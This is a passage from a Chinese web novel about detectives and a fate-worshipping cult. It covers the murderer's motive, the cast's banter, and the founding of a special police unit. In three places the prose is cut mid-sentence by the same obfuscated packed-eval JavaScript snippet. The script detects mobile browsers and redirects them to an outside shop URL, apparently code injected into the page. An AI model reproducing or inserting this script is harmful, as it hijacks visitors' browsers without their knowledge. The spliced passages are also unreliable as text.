“那小子跟警察不怎么开口,但我跟他聊了两句,你猜怎么着?还想跟我传教呢。” 老张得意一指自己,“我就慢慢顺着他说,都问出来了。” 谢重阳很感兴趣:“我们已经确认了肖子杰的社会关系,他与罗锋应该素不相识。” “嗯,没错。”老张点头,“但肖子杰不认识罗锋,不代表罗锋不知道肖子杰。” “罗锋手机里有收藏的一条视频资料,是肖子杰出镜的一条视频。其实是个挺无聊的节目哈,就是一个酒吧老板,邀请自己的富二代朋友们喝喝小酒讲述自己的生活,找的都是丰城有点小钱游手好闲的那伙人,也找不到真正厉害的角色,完全比不上咱们崔少爷哈。” 老张对崔人往挤眉弄眼,只得到了一个白眼的回复。 老张嬉皮笑脸:“总之不是什么正经节目,小打小闹,播放量也低得很,基本只有他们那群人互相捧场,本质还是给酒吧打广告的。” “肖子杰那一条就是吹嘘自己最近怎么挣了大钱,怎么命好。” “其实就是他撞大运,丰城M集团有个供应厂商作假暴雷,但正好M集团有一批货要得急,采购病急乱投医找到了肖子杰家里的厂子,他接了这笔急单,就从此搭上了M集团,一路生意风生水起。” “罗锋就是看了那条视频,知道了肖子杰这个人物。” 谢重阳好奇地问:“那他是图财吗?可罗锋跟肖子杰没有任何关系,就算肖子杰去世,财产也不可能到罗锋手里啊?他也没留遗嘱。” 老张挑眉:“还记得在他家搜出来的那些神像吗?” “记得,大多是女神像,分别拿着羊角、方向舵、纺锤等象征物。”谢重阳颔首,“这些东西大多是他网购的,基本都是‘命运女神像’,不过,每一尊神像的面孔都被磨平,涂上了鸡血。” “嗯,这就是他们的信仰——‘命运’。”老张比划着,“按照罗锋说的,他们信奉‘命运’本身,那尊神没有独特的姓名,因为……所有命运神的模样都是祂的显化,无论是北欧神话、希腊神话、印度神教各种命运神,到最后都会回归‘命运’这个概念本身。” “所以,将分身的面孔抹去,以血清洗,就代表神像不再是具体某个神话中的神祇,变回了他们信奉的‘命运’本身。” “他们的教义称,世界本不公平,每个人的命运是固定的,好就是好,坏就是坏。” “那么,在固定的命运河流里,一个穷小子如何改变命运成为亿万富翁?” 8. 008.命运 谢重阳和崔人往对视一眼,谢重阳思索着说:“努力创业?” 崔人往问:“本钱呢?” 谢重阳认真考虑着可行性:“各种创业补助商业贷款,如果有学历的话还可以从人才扶持政策入手,先从能做的部分做起,再扩大生产,一步步来。” “你呢,你觉得怎么办?” 崔人往垂下眼:“等下辈子生在亿万富翁家。” 谢重阳:“……是不是太消极了?” “嗯咳。”老张一本正经地说,“没错,事在人为!小谢说的对,不能那么消极。” 崔人往斜眼看他:“那你说怎么办?” “山不就我,我去就山。”老张“嘿嘿”笑了两声,“人生最重要的是破执,既然非想当这个亿万富翁,我就把名字改成‘亿万富翁’嘛!” “你说我不是亿万富翁,可我已是亿万富翁。” 老张摇头晃脑地说完,喝了口可乐又严肃起来,“但罗锋的‘导师’教他——去杀掉一个亿万富翁。” 谢重阳有些诧异地挑了挑眉。 “在这个钱能溯源的时代,杀死一个亿万富翁也拿不走他的家产。”老张微微板起脸,“肖子杰现在的遗产也跟罗锋没有关系。” “但他认定自己已经完成了仪式。” 谢重阳追问:“仪式?” “掠夺命运的仪式。”老张现在大抵是除了罗锋第二了解这个神秘命运教派的人,说起来头头是道,“他说,凡人背负命运无从更改,只有命运的信徒拥有掠夺命运的特权,这是神明赐予他们的机会。” “说的玄乎啊,其实简单点就是借运,很多地方的民俗、宗教都有这种手段,像是什么养小鬼啊、将病患的钱扔在路上等人捡过病气啊,一个原理。” 老张嫌弃地摆摆手,显然相当看不起这种下作手段,“要不是为了理解他的想法,我也懒得把他那一大套再重复一遍。” “所以,罗锋的杀人动机,是因为他想要肖子杰的命运?”崔人往若有所思,“他命很好吗?” “我也问了。”老张拉了拉椅子,“那个节目里来来往往那么些人,还是有几个比肖子杰更有钱的,我就好奇他怎么挑上肖子杰的。” “按照他的说法,命运是不允许挑挑拣拣的,他要肖子杰的命运,那就是要原原本本、完完整整地继承,所以需要仔细考量。” “这小子还有个小黑本,专门分析对比这些富家子弟的优劣势。” “他觉得肖子杰的核心优势有三,一是他事业刚起步,眼看是越来越好,未来可期;二是他之前喝多了叫代驾出了车祸,代驾进了急救室,他本人毫发无伤一点皮都没擦破,罗锋觉得这证明他确实受命运眷顾;第三……” 老张神神秘秘地挑眉,“他自己说这个不重要,但我觉得说不定比我们想象中更重要。” “他认得顾嘉怡。” “嗯?”谢重阳一下坐直了,“不可能啊,我们排查社会关系的时候他们俩……” “十多年前的事了!”老张嬉皮笑脸,“急什么,没说你们干活不认真。” “他跟顾嘉怡在同一个初中,都不是一届的,但顾嘉怡名气大,当时是校花。” “就是不知道他是想要肖子杰能娶校花的命运,还是依然对顾嘉怡有点念想了。” 谢重阳拧起眉头:“这就是他的作案动机。” “但他到底是怎么操作的?” “做法。”老张故意实话实说,“他们导师也不是随便拉人入伙,这个罗锋的八字也有点说法,在玄学上算是有点天赋。他的导师教给他一些术法,然后将封着李成怨魂的骨灰盒快递给他。” “罗锋收到后没有立刻动手,他还在犹豫。” “他在门内用鸡血画的封鬼阵,也是导师教的,是防止怨鬼逃脱的。” “其实啊,他最终也没有下定决心。只是因为日夜跟怨鬼同住,那盒子时不时就要响一响,他太害怕了,生怕染上不祥的命运,一咬牙就决定动手,做法驱使怨魂前往肖子杰家,完成了这个仪式。” “之所以选在肖子杰去父母家吃饭的时候下手,也是富华小区管理宽松,方便他在附近作法,肖子杰和顾嘉怡自己住的小区需要登记身份证,他不敢去。” 谢重阳已经自动把“做法”用“进行一系列有违人道主义精神的精神操控行为”替换了,严肃地点了点头。 事已至此,案件已经清晰明了,凶手也缉拿归案,不过,在场几人看起来都没那么高兴。 “这个案子估计就到这里了。”崔人往收敛目光,“‘导师’没那么容易抓住。” “但至少我们破解了他们的一种手段。”谢警官积极乐观得像个太阳,差点没把崔人往照化了,“就这样一步步撵着他们,等到他们无计可施,就能将他们绳之以法。” 崔人往几不可闻地笑了一声,勉为其难应了:“嗯。” 谢重阳很有斗志:“虽然可能不大,但罗锋还得仔细审问,他怎么被选中、怎么加入这个教派、怎么跟‘导师’联系,这些环节但凡有一个地方有疏漏,我们就能顺藤摸瓜。” “对了,老张,他认罪了吗?” “做的事都认了,不过……”老张遗憾地摇摇头,“他还是觉得,是他不该选肖子杰。” “他觉得自己千挑万选还是选错了,甚至觉得,一定是肖子杰即将有牢狱之灾,所以获得了肖子杰命运的他才会在这里。” “哎,我看他这个脑子啊,已经是教义取代逻辑,无法正常思考了。” 崔人往简短评价:“蠢货。” 谢重阳深以为然,觉得崔人往骂人简短又直指核心。 “这样看我也没必要来。”崔人往按了按太阳穴,“我回去了。” “哎等等,你还是得来的。”老张笑了笑,“老赵想看看你。” 崔人往:“……” “哎呀,总得见见。”老张哄他,“打个招呼的事。” “他那个人,当了一辈子刑警,对自己的眼力有信心,得看过了才能把你当自己人。” “那叫一个铁面无私,我做担保都不行,你就让他看看吧嗷!” “……知道了。”崔人往答应下来。 他如约到了赵局长办公室门前,正碰见小桃脚步虚浮、一脸菜色地从里面出来。 崔人往问她:“怎么了?” “晕人脸。”小桃闭着眼都感觉眼前有五官在转,“脚趾也累。” 崔人往困惑地眨了眨眼。 “我去当人肉人脸识别了,都快分不清无关了。”林夏桃捂着眼睛,“还有赵局长说找我聊聊,他问我灵媒跟塔罗的区别,我说不好解释,不然网上搜搜含义,他就叫我去他电脑那看。我就看他点开那个网页,跳出来两个裸丨女啊啊啊——” 崔人往:“……” 小桃捂住脸无声悲泣:“我需要独处72小时来消化这份尴尬。” “嗯。”崔人往同情地拍拍她的脑袋,敲门进去。 赵局长端着杯沼泽一样的浓茶,抬眼看向门口。 平心而论,赵局长有张端正的国字脸,长相也并不算凶悍,乍一看给人的印象是“宽厚”。但那双眼睛太亮了,上了年纪微微下垂的眼皮也盖不住锋锐的眼神,难怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984559|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他对自己的眼力有自信。 崔人往也打量着他,心想,不愧是公安局,鬼魂不敢近身的厉害人物成群结队。 “崔人往。”赵局长一字一顿念他的名字,笑起来,“小崔是吧,坐,老张在我面前总夸你。” 崔人往态度温驯地在他面前坐下,他对长辈态度一向不错。 “我想见见你,主要是打个招呼。”赵局长观察着他,“还有就是,老张说你,擅长跟鬼沟通,对破案很有帮助,等你们技术部成立,你也会给其他案子帮忙,对吧?” 崔人往:“……” 原来老张在外面就这样给他揽活。 崔人往轻轻点了下头:“有需要的话。” 赵局长面上轻松不少,笑呵呵地寒暄了两句:“老张这个人我了解,表面嘻嘻哈哈,实际上一身正气。刚刚那个小姑娘,小桃,我也跟她聊了聊,也是个好孩子,爱好特殊点,但是正义观简单朴素。” 他对上崔人往的视线,笑着问,“小崔啊,那你是为什么愿意来掺和这个麻烦事啊?” 崔人往安静了片刻,他说:“为了……” 他思索着偏了偏头,“索命?” 赵局长微微蹙起眉头,锐利的目光落在他脸上。 崔人往笑了一声:“开玩笑的,我还不是鬼,索命犯法。” “我是要……讨个公道。” 他抬起眼,没有避让,对上了赵局长的视线。 赵局长眼神温和了些许,轻轻叹了口气:“是,凡事是该讨个公道。” …… 崔人往走到大厅,老张和小桃在门口等他一块走。 崔人往回头看了一眼,老张笑嘻嘻迎上来:“小谢整理证物准备写报告去了,忙得很,就不送你了。” “谁问他了?”崔人往神色淡淡。 “好好好,我多嘴行吧?”老张乐呵呵背着手跟他走,“咱们这阵子都待在这,你找好住的地方没有?我在这申请宿舍,小桃也已经看了几个租房的地方了。” “再说吧。”崔人往垂下眼,“先在酒店住着。” “行吧。”老张眼珠滴溜溜转一圈,还是问他,“你觉得,小谢怎么样?” 崔人往扭头看他:“别想着把他弄过来了,这人根本不信邪。” “哎呀,就算不过来,那咱们不也得谢谢他。”老张笑呵呵的,“这次多亏他吧?” “送什么他不会要。”崔人往摇头,“请他喝奶茶他都说有受贿嫌疑。” “啧,真是老古板教出来的小古板。”老张摸着下巴,“就没什么警察能收的东西吗?” 小桃提议:“锦旗?” 崔人往看过来,若有所思:“……可以考虑。” …… 警局内,谢重阳将部分证物整理登记,忽然注意到一本黑色封皮的笔记本。 ——这应该就是罗锋挑选目标的那本笔记。 谢重阳好奇地翻了几页,得到了不少本地富家子弟信息,看得还算津津有味。翻到将近末页,他猝不及防看见一张熟悉的面孔。 拖着行李箱的青年神色恹恹,色彩有些失真的拍立得相片里,像一缕深邃的游魂。 ——是崔人往。 优势只有一条,丰城龙头企业C集团长孙。 旁边洋洋洒洒写了他的劣势,父母早亡,常年独居国外,不受长辈疼爱,长期失眠,体弱,精神状态堪忧…… 谢重阳越看越皱眉,“啪”地一声合上了笔记,总觉得有些不爽。 他居然也差点成了罗锋的目标……而且什么叫“命太差”? 没礼貌。 9. 009.不信邪 谢重阳收好了证物,还是有点在意,又转身去了讯问室。 杜理科还在讯问室熬鹰,重要部分已经审问完毕,接下来是体力活。 靠反反复复盘问,一点点抽丝剥茧,说不定就能从证人嘴里再撬出一点有用的东西。 崔人往敲了敲门进去,扔给杜理科一瓶水。 杜理科笑起来,拧开喝了一口:“哟,知道心疼你杜哥。” 谢重阳问:“今天还加班?” “可不。”杜理科指了指低着头的罗锋,故意说,“不交代清楚明白,我跟这小子谁都不能从这出去。” 他压低声音跟谢重阳蛐蛐,“不过幸好队长和局长走了,不然我问话都紧张。” 谢重阳笑了笑,他说:“我还有个好奇的地方。” “问呗。”杜理科靠着椅子,“队长说了,想起什么细节就直接问,不过他不一定肯回答,这小子不是特别配合。” “我先试试。”谢重阳打量着罗锋,喊他一声,“罗锋。” “你认识崔人往吗?” 罗锋低着头动了下手指。 谢重阳接着说:“我在你的笔记里看到了他的资料,你也考虑过借他的运吗?” “不是借。”罗锋慢慢抬起头,神情专注而执拗,“是掠夺。” 他长得普通,头发偏长,三白眼严重,看起来格外不好说话,抬眼看人的时候尤其阴鸷。 “好,掠夺。”谢重阳盯着他,“你考虑过要掠夺崔人往的命运?” 罗锋避开他的目光,又低下头,一下一下抠着手指:“没有。” “说谎!”杜理科拍了拍桌子,“没考虑过你把他的资料记在笔记上?” “参考。”罗锋看着自己的手指,慢吞吞开口,“我在网上搜丰城有钱人的时候,找到过一个帖子,好像是评‘丰城贵公子’,就是……盘点谁是丰城身价最高的富二代、富三代。” “帖子里有人说起,单纯论身价的话,还是丰城C集团的继承人身价更高,但是几乎没人见过他,怀疑是崔家把他保护的很好。” 罗锋不断扣弄着自己的指甲,“这些人其实也有粉丝的,他们的消息比想象中更好找。” 杜理科追问:“其他人的消息也是这么来的?” 罗锋慢吞吞点头。 “但只有崔人往那一页资料你贴了照片。”谢重阳问他,“那张拍立得哪来的?你跟踪他?” 罗锋摇摇头:“他一直在国外,我没出过国。” “照片是买的。” “跟谁买的?”杜理科语气不善地敲着桌子,“主动交代!非得一句句问你?” “跟他同学买的。”罗锋抠手指一下比一下用力,“那个帖子里,有人说是他同学,反驳贴主的时候,说了点他家里的事。” “那个人说,崔人往在国外根本不是被家里保护,他是回不了国。好几次他想偷偷回国,到机场了,最后都没走成。” “有人不相信,跟他吵起来,他为了证明就发了崔人往在机场的照片。” 罗锋低着头,“我私信了他,骗他说以前认识崔人往,想知道他的消息,但他也不清楚更多了,只说崔人往不爱跟人打交道。” “他让我给他地址,答应如果回国给我寄快递,把那张照片送给我。我都快忘了这事了,大概两三个月后居然真的收到了快递。” 杜理科:“那能叫买吗?你付钱了吗?” “付了邮费。”罗锋抠着手指,嗤笑一声,“有钱人也计较这些,他到付的。” 谢重阳拧眉:“你要他照片干什么?” “他长得好。”罗锋微微抬眼,但刻意避开了他们的目光,他好像格外不喜欢跟人对视,“有那张脸,身价又高,其他地方有点缺陷也值得考虑。” “你还挑上了?”杜理科冷嘲热讽,“结果呢,怎么没选啊?” “搜了搜他的消息。”罗锋又垂下眼,“发现了其他的东西。” “他出身不好,是私生子,不可能继承崔家的家业。二十多年前,崔家大少爷和一个小明星殉情的事,新闻现在还能查得到。” “听说……那个女星死的时候都快生了,尸体都抬出去了,肚子却还在动,是法医给他接生的。” 罗锋阴恻恻地看着地面,“他是从死人肚子里活下来的孩子。” 杜理科嗤之以鼻:“跟我们讲鬼故事呢?” “我搜了新闻,是真的。”罗锋还在抠指甲,“当时这件事关注度很高,如果说他真的是在殉情现场,刨开孕妇肚子取出来的孩子……” 他手指一下用力,瞬间抠出血来,“那他就是个阴生子。” 杜理科拧眉:“什么叫‘阴生子’?” “沾染阴邪,命格属阴,在最糟糕的时间、最糟糕的场合、以最糟糕的方式生下来的孩子。” 杜理科从鼻腔里“哼”了一声以示轻蔑。 “这是真的。”罗锋一遍遍强调,用力挤着自己的伤口,试图挤出更多鲜血,“崔家老爷子很迷信,特意给孙子起‘崔人往’这样的名字,就是盼着人早点在国外死掉,他怕这个孩子!崔家根本没有认下他!现在丰城跟在老爷子身边做事的也是崔人往的堂弟……” 他声音大了一点,又被杜理科瞪回去,又低着头喃喃低语,“他的命根本不好。” 记笔录的江定起身,拿了个创口贴,面无表情地把他抠破的手指包起来。 罗锋:“……” “有这个天赋你当狗仔说不定早就挣到钱了。”杜理科冷哼一声,给了谢重阳一个眼神,“还有要问的吗?” 谢重阳摇摇头,拍拍他的肩膀:“你加油,累了找我换班。” “行。”杜理科面露感动,“够义气。” “那你帮我写报告……” “得寸进尺啊。”谢重阳瞪他一眼,离开了讯问室。 走出门外,他有些不太痛快地吐了口气。 ……他本意不是想打听崔人往的隐私来着。 看来他确实不是江湖骗子,但处境好像也没好多少。 他靠着墙摸出手机,点开崔人往的对话框。他想说点什么,但好像都太冒犯了。 想来想去,他发了一条:“你吃饭了吗?刚刚你就吃了两个包子。” 五分钟后,崔人往回了个头顶问号的黑猫表情包。 谢重阳挠了挠下巴,也觉得自己突如其来的关心有点莫名其妙。 但崔人往还回了两个字:“吃了。” 谢重阳心情又好起来,他笑了一声,又追问:“不会又是甜粥吧?” 崔人往回了他一张照片。 他面前摆着碗铺了一层辣椒的面,几乎都看不清是什么面。 崔人往:“吃面。” 谢重阳好奇地问:“吃这么辣?” 崔人往:“挑战变态辣免单。” 谢重阳:“……” 他脑内一瞬间闪过了许多吃不饱穿不暖的悲惨剧本,立刻发,“我请你吃!” 崔人往又发了那只问号黑猫。 崔人往:“谢谢,不用。” 他怀疑谢重阳可能误会了什么,截了个钱包余额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984560|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他看。 谢重阳:“……” 看着那串比他警号还长的数字,谢重阳深刻认识到,网上有些消息恐怕是不属实的。 …… 翌日。 崔人往依然从酒店房间的沙发上醒来,身边换了种安神熏香,但从他的脸色来看,作用依然有限。 他慢慢睁开眼睛摸来手机,他和老张、小桃三个人的群聊里消息已经99+。 怀揣着“这两人不是一起行动怎么还能聊这么多”的好奇,崔人往检阅了一下记录。 老张陪着小桃一块去找房子,觉得有合适的,就发在群里当记录,老张还要附上风水点评。 除此以外,还有两人一块吃的饭,老张拍的游客照…… 真够热闹的。 从群聊里吸了点活气,崔人往也没回复,只关掉聊天框,往最底下翻了翻。 备注“跑腿”的小哥消息被压在了下面:“老板!锦旗已经送达!” 下面是一串照片。 崔人往找的代送锦旗的跑腿小哥相当敬业,笑容热情洋溢,举着锦旗拉着谢重阳合影,恨不得三视图都给他拍过来,充分展现了警民一家亲的良好氛围。 锦旗上书“不信邪”三个大字,搭配上谢重阳瞪大眼的表情,格外诙谐。 摄影技术也相当不错,谢重阳表情傻归傻,帅还是帅的,崔人往怀疑自己很快就能在当地警方公众号看到这张照片了。 欣赏了一会儿谢警官的傻样,崔人往又给跑腿小哥发了个满意红包,得到了一份“谢谢老板”表情包大赏。 崔人往撑着身体坐起来,只觉得一晚上的昏沉一扫而空,心情愉悦。 再往下翻了翻,谢重阳果然也给他发了消息。 谢重阳:“锦旗是你送的吗?” 消息是三四个小时前发的了,崔人往回了一个黑猫舔毛的表情包。 谢重阳那边很快显示输入中,好一会儿,消息才发过来。 谢重阳:“花也是吗?” 崔人往刚刚洗漱完,擦着脸冲着消息微微挑眉,他不会还真感动了吧? 谢警官看起来确实是挺好骗的。 他回了个“嗯”。 谢重阳这次回的飞快:“你为什么给我送玫瑰啊!” 崔人往擦脸的动作顿了一下,他一口气回了三个黑猫问号。 谢重阳发过来一张图片。 从照片可以看出,拍照人身高很高且完全不会拍照、拍照人疑似被同事包围、以及这确实是一大束红玫瑰。 崔人往:“……” 他拿着照片切换到外卖软件,发给花店。 崔人往:“玫瑰?” “我要的狗尾巴草。” 鲜花小店:“亲亲在哦!这边确实给您配了狗尾巴草呀!” “亲亲您下了888任选主材搭配套餐,只指定了狗尾巴草,其他花材随便,我们的花艺师就帮您特意设计了这款‘毛绒绒的爱’!” 崔人往再次点开那张图片,终于看见了一大束抢眼的红玫瑰里,被扭成爱心形状的绿色狗尾巴草。 ……好一个“毛绒绒的爱”。 鲜花小店似乎意识到了什么,客服还在发:“亲亲,如果对方与您不是恋人关系,担心误会的话,您可以说,红玫瑰也代表着热情与勇气哦!” 崔人往:“毛绒绒的爱?” 鲜花小店:“也可以是毛绒绒的勇气!比起鲜花的话语更重要的是赠送者的心意哦亲亲![玫瑰][玫瑰][爱心][爱心]” 崔人往:“……” 10. 010.升职 崔人往被说服了。 而且对方看起来真的很怕他退款。 崔人往叹了一口气,视死如归地点开谢重阳的对话框,回复:“送的是狗尾巴草。” 谢重阳:“?” “那玫瑰呢?” 崔人往:“买狗尾巴草送的。” 他关掉了对话框。 安静片刻后,崔人往翻了个身,又给小桃发消息:“你不是说要独处72小时环节尴尬吗?” 小桃:“是的,等找好房子搬进去我将立刻切断现实社交72小时。” “老大你醒了啊!要不要出来吃东西?” 崔人往:“……” 他又问,“72小时真的能消除尴尬吗?” 小桃回消息手速很快:“不,老大,尴尬是无法消除的。它会在往后余生每一个毫无防备的寂静夜晚突袭你的脚趾,终其一生也无法摆脱。” 崔人往:“……” …… 警局里,谢重阳面色凝重地盯着桌上那捧玫瑰,如临大敌。 什么叫“买狗尾巴草送玫瑰”!哪家店能做这么亏本的生意! “啧啧啧。”陆队长上下打量着谢重阳,“行啊小谢,什么时候找的对象?够热情的啊这姑娘。” 谢重阳:“不是姑……” 杜理科死了一样瘫在座位里:“我审了一个通宵你就给我看这个?谢重阳,你这个叛徒!你要背叛我们重案组单身狗组织!” “这个爱心……”江定凑过来捏了捏“毛绒绒的爱”,“好像是狗尾巴草做的哎,还挺有创意。” 杜理科捂着脸大喝一声:“可恶啊!” 钱松乐呵呵地提着保温杯:“到底谁送的啊?也不跟我们说一声,你小子,这还保密啊?” 谢重阳张了张嘴,没能把崔人往的名字报出来。 “不要脸!”杜理科重重敲桌,“在我们工作重地秀恩爱!” 他一把从谢重阳桌上薅走一个小面包,恶狠狠地指着他说,“老子、老子祝你幸福!” 然后把面包囫囵塞进嘴里气急败坏地走了。 谢重阳:“……” 陆队长还在笑,外头跑进来个新人喊:“陆队,赵局找!” “知道了。”陆正应了一声,笑呵呵出去了。 大约去了半个小时,他神色复杂地回来,轻轻敲了敲谢重阳的桌子:“小谢啊,你……今天晚上有事吗?” 他还瞟了眼那束花。 “没啊。”谢重阳立刻澄清,“这应该是个玩笑,我真的没……” “行。”陆正笑起来,“要是没有,你晚上就跟我回家吃饭。你嫂子让我买排骨回去,你爱吃排骨吧?” “哦,好。”谢重阳老老实实应了,明白队长应该是有事要找他聊聊。 陆正一贯是这个做法,有什么事不会在公共场合说,会把他们带回家里慢慢聊。 他其实年纪也还不算大,不到四十,还没孩子,但就是把自己当成了他们的“大家长”,因此多少有点过于老成。平常也多多照拂着组里的这些“孩子”,甚至把年过五十的超龄孩子钱松也当成了孩子管。 …… 晚上,泰安小区,陆正家。 “好了菜上齐了。”脑袋上戴着头盔的孙丽亚端着一大盘排骨出来,“哎呀都叫你们先动筷子了,还等我啊?” 谢重阳微微睁大眼睛,盯着她独特的装扮:“呃,嫂子你这是……” “她最近刷到的养生公众号。”陆正习以为常给他递筷子,“说是厨房油烟堪比二手烟,所以我这禁烟,厨房油烟也得注意。” “那是。”孙丽亚摘下头盔,甩了甩大波浪卷发,“你都不注意,咱们家不就只有我注意了吗?” “小谢啊,你在局里可得帮我盯着他,别让他偷偷抽烟。” “是!”谢重阳连忙点头答应。 “不用那么一本正经,吃菜吃菜。”孙丽亚性格爽快,“家常菜啊,别嫌弃!” 几人笑呵呵地动了筷子,吃饱喝足,按照习惯,谢重阳端着脏碗一块跟着队长进厨房洗碗。 厨房里挤进他们俩还有点勉强,陆正套上围裙站在水池前,谢重阳把厨余垃圾倒了,把碟子递给队长,也就没什么可做的了。 陆正一副贤惠模样搓着碗,背对着谢重阳开口:“之前那个案子,你对那三个特别顾问,有什么印象?” “嗯?”谢重阳确认,“是张不虚、林夏桃和崔人往吗?” “嗯。”陆正说得有些含糊,“他们仨……是有点真本事的。罗锋那个‘导师’,犯的事不少,手段也不止一样,上面的意思,还是要全力追查下去。” “过两天咱们局里原本西面那个杂物间要收拾出来了,给他们做办公室,要成立个‘量子力学技术部’,专查跟‘导师’和这个邪丨教有关的案件。” 谢重阳愣住,有些怀疑自己的耳朵:“是那个……遇事不决,量子力学的……量子力学技术部吗?” “可能是吧。”陆正不懂这些梗,“这几个人赵局看过了,大体上应该没有问题。” “你不是直觉也挺准的吗?你觉得这几个人,可信吗?” 谢重阳想也不想回答:“话不可信,人品可信。” “他们几个,一张嘴就是神神鬼鬼的,都是胡说八道,不过人应该不错。” 陆正笑了一声:“这个么……算了,你到时候自己慢慢看吧。” “赵局的意思是,这个量子力学技术部,还是得有个我们自己的人。” “也不是不信任他们,主要是他们这群人……过于自由散漫,需要个靠谱的盯着。” 谢重阳想起崔人往的做派,非常理解赵局的安排,赞同地点了头。 他意识到陆正为什么特意跟他说这个,主动问:“是想让我过去吗?” “是有这个意思。”陆正也没拐弯抹角,“你跟他们打过交道了,相处的还不错,正好再接着一起做事。” “不过,让你去也不是监视他们,也是担心他们几个的安全问题,毕竟都是没经受过警察训练的普通人,一个老头一个小姑娘,唯一的年轻人也弱不禁风……” 陆正把盘子放到沥水架上,“当然了,这也不是任务,也得看你的意思,你要是不想去,我肯定也……” 谢重阳毫不犹豫:“去!” 陆正扭头看他。 谢重阳表情严肃:“这个案子还没完。” “很多一旦断了线索的系列案件,想要再重新拾起线索不知道要多少年。既然要彻底查下去,有机会给这个案子收尾,我当然愿意了!” 他好奇地问,“不过他们是有什么特别的线索吗?有什么调查方向吗?” 陆正:“……” 怎么说呢,据说是张道长算卦算出来此局破解之地在丰城,所以就带着人马来这守株待兔了。往后丰城出现什么跟神神鬼鬼有关的案子就送往他们部,或许就能抓到“导师”的马脚。 但这个理由说实话他也是半信半疑,都没能完全说服自己,恐怕更没办法说服谢重阳这个不信邪的犟脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987757|193620||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 他清了清嗓子:“大概有吧。” 他又斜眼看谢重阳,“那你这是答应了?” “嗯!”谢重阳爽快地点头。 “行,我还没来得及晓之以理动之以情呢。”陆正笑着摇摇头,“其实也不是坏事,你去那还算升职,你当队长啊。” “啊?”谢重阳震惊,“为什么啊?” “因为他们仨是特别顾问,属于编外临时工。”陆正甩了甩手上的水,耸了耸肩,“再怎么说,那部门队长总得是个正式公务员吧?” “也就你一个。” 谢重阳:“……” “干嘛,你还不高兴?”陆正笑着指他,“马上跟我平级了!” “哎,没良心的,我还担心你会不会舍不得我们队……” “啊?那、那还是舍不得的。”谢重阳挠了挠头,“队长,我……” “少来。”陆正笑起来,“有机会就好好把握。” “还有个事。” 谢重阳一脸认真:“您说!” 陆正擦着手,八卦地问:“你那个玫瑰花到底是谁送的啊?” 谢重阳迟疑了一下,莫名有点不好意思,他支支吾吾半晌,在陆正笑盈盈的眼神里艰难开口:“崔人往。” “谁!”陆正瞬间拔高了音调,他瞪大了眼睛,“那天、那天来那个,头发长的,脸像小姑娘的?” 谢重阳挠挠头:“不是很像小姑娘吧……” 虽然长得确实是漂亮挂的。 “不是,他为什么给你送玫瑰花啊!”陆正怀疑自家孩子脑子可能缺根筋,“你等会儿,我觉得这事还得从长计议……等等,赵局知道这事吗?” 他越想越觉得自家孩子可能让人坑了,嗓门逐渐大起来,“我说赵剑康他不能知道这事吧?他不会是打算你去去去使什么美男计吧?你能使的明白吗?” 厨房外,孙丽亚好奇地探头。 她一般会在陆正聊明显正事的时候回避,但这次她听了一耳朵,实在是好奇,忍不住趴在门口问:“怎么了?小谢要去夜总会当卧底使美男计啊?” “你胡说八道什么!”陆正瞪她一眼,“我去给赵局打个电话!” “哎队长!我不是……”谢重阳正要阻止他,又被孙丽亚拉住:“到底怎么了呀小谢?跟嫂子说说。” 谢重阳表情古怪:“嫂子你笑得那么开心干什么?” “没有的事。”孙丽亚连忙压下嘴角,轻咳一声一脸严肃,“嫂子是担心你。” “什么美男计啊?” 谢重阳:“……” 他好不容易追出去,在陆正和赵局的双重压力下,解释了这个“买狗尾巴草送玫瑰”的微妙玩笑。 不管陆队怎么担忧,他去量子力学技术部的事,最终还是敲定了。 …… 十天后,丰城市公安局西面的杂物间收拾了出来,量子力学技术部正式成立。 当天上午七点半,谢重阳第一个到达办公室报道。 他已经想好到时候怎么跟惊讶的三个人解释情况了,但等了半天,办公室里还是只有他一个人。 眼看着过了上班时间,谢重阳起身在屋里转了两圈。 他想起来自己有崔人往的联系方式,聊天框还停留在上次的“玫瑰花”事件。 犹豫再三,谢重阳拧着眉头用力敲着手机屏幕:“你怎么不来上班?” 消息石沉大海。 谢重阳:“……” 原来是从这里就开始自由散漫的吗! 11. 011.盗墓 又转悠了两圈,谢重阳沉默地回到了自己原来的工位。 “嗯?”杜理科坐没坐相地靠着桌子啃油条,鼓着腮帮子瞪大眼睛看他,“你怎么回来了?咋了,舍不得我们?” 他一惊,“不会是他们不服你给你下马威吧?” 他把油条塞进嘴里,立马撸起袖子,“走,哥们给你撑场子!” “不是。”谢重阳没站起来,蔫蔫地叹了口气,“没人来。” 